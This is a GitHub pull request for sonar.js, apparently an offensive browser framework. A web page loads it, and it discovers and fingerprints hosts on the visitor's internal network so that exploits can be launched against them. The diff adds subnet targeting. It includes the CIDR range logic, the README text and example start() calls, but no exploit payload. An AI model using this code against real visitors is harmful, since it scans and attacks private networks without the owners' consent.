Skip to content

Add option to specify a target subnet or subnet size #17

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 9 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ A framework for identifying and launching exploits against internal network host

## How does it work?
Upon loading the sonar.js payload in a modern web browser the following will happen:
* sonar.js will use WebRTC to enumerate what internal IPs the user loading the payload has.
* sonar.js will use WebRTC to enumerate what internal IPs the user loading the payload has, assuming a /24 subnet size unless a target subnet or subnet size has been specified.
* sonar.js then attempts to find live hosts on the internal network via WebSockets.
* If a live host is found, sonar.js begins to attempt to fingerprint the host by linking to it via ```<img src="x">``` and ```<link rel="stylesheet" type="text/css" href="x">``` and hooking the ```onload``` event. If the expected resources load successfully it will trigger the pre-set JavaScript callback to start the user-supplied exploit.

Expand Down
10 changes: 9 additions & 1 deletion example.htm
Original file line number Diff line number Diff line change
Expand Up @@ -8,8 +8,16 @@
<script>
// sonar.js loading a fingerprint database from fingerprint_db.js
sonar.load_fingerprints( fingerprints );
// If 'true' is passed to the start() function sonar will run in debug mode. This causes an alert() on device enumeration.
// If 'true' is passed to the start() function sonar will run in debug mode. This causes an alert() on device enumeration and for the IP range to be scanned.
sonar.start(true, 2000 );

// It's also possible to specify a target or subnet size
//sonar.start(true, 2000, "192.168.0.1/24");
//sonar.start(true, 2000, "/24");

// Or just one IP
//sonar.start(true, 2000, "192.168.0.1/32");
//sonar.start(true, 2000, "192.168.0.1");
</script>
</body>
</html>
84 changes: 76 additions & 8 deletions sonar.js
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ var sonar = {
/*
* Start the exploit
*/
'start': function(debug, interval_scan) {
'start': function(debug, interval_scan, target) {
if( debug !== undefined ) {
sonar.debug = true;
}
Expand All @@ -17,16 +17,36 @@ var sonar = {
interval_scan = 1000;
}

if( target === undefined ) {
target = "/24";
}

if( sonar.fingerprints.length == 0 ) {
return false;
}

// Separate IP and range, target[0] is the IP and target[1] is the range
// If the range is not specified, we assume that only one IP should be scaned
target = target.split( '/' );
if( target[1] === undefined ) {
target[1] = 32;
}

// Check the specified IP range, /31 subnets are excluded because those only have reserved and broadcast addresses
if( target[1] < 0 || target[1] > 32 || target[1] == 31 ) {
return false;
}

// This calls sonar.process_queue() every
setInterval( function() {
sonar.process_queue();
}, interval_scan );

sonar.enumerate_local_ips();
if( target[0] == "" ) {
sonar.enumerate_local_ips( target[1] );
} else{
sonar.ip_to_range( target[0], target[1] );
}
},

/*
Expand Down Expand Up @@ -111,15 +131,63 @@ var sonar = {
sonar.fingerprints = fingerprints;
},

'ip_to_range': function( ip ) {
'ip_to_range': function(ip, range) {
var ip_parts = ip.split( '.' );
if( ip_parts.length !== 4 ) {
return false;
}

for( var i = 1; i < 255; i++ ) {
var tmp_ip = ip_parts[0] + '.' + ip_parts[1] + '.' + ip_parts[2] + '.' + i;
sonar.ip_queue.push( tmp_ip );
// If we're only going to scan one IP, queue it without calculating the range
if ( range == 32 ){
sonar.ip_queue.push( ip );
return;
}

var ip_min = [0, 0, 0, 0];
var ip_max = [0, 0, 0, 0];
var r = 0;

for( var tmp = 0; tmp < 4; tmp++ ) {

// Calculate the number of bits that change of the current part
if ( range > 8 + 8 * tmp){
r = 0;
} else {
r = 8 - (range - tmp * 8);
}

// Calculate minimum and maximum of IP range for the current part
ip_min[tmp] = ip_parts[tmp] & (255 << r);
ip_max[tmp] = ip_parts[tmp] | (255 & ~(255 << r));
}

if( sonar.debug ) {
alert( '[DEBUG][The samallest IP adress to be scaned is:]' + ip_min[0] + '.' + ip_min[1] + '.' + ip_min[2] + '.' + (ip_min[3] + 1));
alert( '[DEBUG][The largest IP adress to be scaned is:]' + ip_max[0] + '.' + ip_max[1] + '.' + ip_max[2] + '.' + (ip_max[3] - 1));
}

// Queue IP address range
ip_parts[3] = ip_min[3] + 1;
for( ip_parts[0] = ip_min[0]; ip_parts[0] <= ip_max[0]; ip_parts[0]++ ) {
if ( ip_parts[0] == ip_max[0] ){ // Check if we are approaching the end of the subnet
var ae = 1;
}
for( ip_parts[1] = ip_min[1]; ip_parts[1] <= ip_max[1]; ip_parts[1]++ ) {
if ( ae == 1 && ip_parts[1] == ip_max[1] ){
var be = 1;
}
for( ip_parts[2] = ip_min[2]; ip_parts[2] <= ip_max[2]; ip_parts[2]++ ) {
if ( be == 1 && ip_parts[2] == ip_max[2] ){
ip_max[3]--; // Prevent the broadcast address from getting queued
}
while( ip_parts[3] <= ip_max[3] ) {
var tmp_ip = ip_parts[0] + '.' + ip_parts[1] + '.' + ip_parts[2] + '.' + ip_parts[3];
sonar.ip_queue.push( tmp_ip );
ip_parts[3]++;
}
ip_parts[3] = ip_min[3];
}
}
}
},

Expand Down Expand Up @@ -175,15 +243,15 @@ var sonar = {
//console.log( 'Dead IP', ip );
},

'enumerate_local_ips': function() {
'enumerate_local_ips': function(range) {
var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (!RTCPeerConnection) return false;
var addrs = Object.create(null);
addrs['0.0.0.0'] = false;
function addAddress(newAddr) {
if (newAddr in addrs) return;
addrs[newAddr] = true;
sonar.ip_to_range(newAddr);
sonar.ip_to_range(newAddr, range);
}
function grepSDP(sdp) {
var hosts = [];
Expand Down